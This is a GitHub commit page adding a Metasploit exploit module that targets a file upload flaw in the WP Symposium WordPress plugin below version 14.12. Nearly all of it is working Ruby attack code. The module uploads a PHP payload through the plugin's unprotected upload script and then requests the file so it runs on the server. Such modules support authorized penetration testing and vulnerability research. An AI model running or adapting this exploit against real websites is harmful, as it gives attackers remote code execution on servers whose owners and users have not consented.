Skip to content

Commit 7b92c6c

Browse files
committed
Add WP Symposium Shell Upload module
1 parent da2e088 commit 7b92c6c

File tree

1 file changed

+92
-0
lines changed

1 file changed

+92
-0
lines changed
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This module requires Metasploit: http//www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'WordPress WP Symposium 14.11 Shell Upload',
17+
'Description' => %q{WP Symposium Plugin for WordPress contains a
18+
flaw that allows a remote attacker to execute
19+
arbitrary PHP code. This flaw exists because the
20+
/wp-symposium/server/file_upload_form.php script
21+
does not properly verify or sanitize
22+
user-uploaded files. By uploading a .php file,
23+
the remote system will place the file in a
24+
user-accessible path. Making a direct request to
25+
the uploaded file will allow the attacker to
26+
execute the script with the privileges of the
27+
web server.},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Claudio Viviani', # Vulnerability disclosure
32+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
33+
],
34+
'References' =>
35+
[
36+
['OSVDB', '116046'],
37+
['WPVDB', '7716']
38+
],
39+
'DisclosureDate' => 'Dec 11 2014',
40+
'Platform' => 'php',
41+
'Arch' => ARCH_PHP,
42+
'Targets' => [['wp-symposium < 14.12', {}]],
43+
'DefaultTarget' => 0
44+
))
45+
end
46+
47+
def check
48+
check_plugin_version_from_readme('wp-symposium', '14.12')
49+
end
50+
51+
def generate_mime_message(payload, payload_name, directory_name, symposium_url)
52+
data = Rex::MIME::Message.new
53+
data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
54+
data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
55+
data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
56+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
57+
data
58+
end
59+
60+
def exploit
61+
print_status("#{peer} - Preparing payload")
62+
unique_name = "#{Rex::Text.rand_text_alpha(10)}"
63+
payload_name = "#{unique_name}.php"
64+
symposium_url = normalize_uri(target_uri, wp_content_dir, 'plugins', 'wp-symposium', 'server', 'php')
65+
payload_url = normalize_uri(symposium_url, unique_name, payload_name)
66+
data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
67+
symposium_url = normalize_uri(symposium_url, 'index.php')
68+
69+
print_status("#{peer} - Uploading payload to #{payload_url}")
70+
res = send_request_cgi(
71+
'method' => 'POST',
72+
'uri' => symposium_url,
73+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
74+
'data' => data.to_s
75+
)
76+
77+
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
78+
print_good("#{peer} - Uploaded the payload")
79+
print_status("#{peer} - Executing the payload...")
80+
send_request_cgi(
81+
{
82+
'uri' => payload_url,
83+
'method' => 'GET'
84+
}, 5)
85+
print_good("#{peer} - Executed payload")
86+
else
87+
print_error("#{peer} - Failed to upload the payload")
88+
vprint_error("#{peer} - HTTP Status: #{res.code}")
89+
vprint_error("#{peer} - Server returned: #{res.body}")
90+
end
91+
end
92+
end

0 commit comments

Comments
 (0)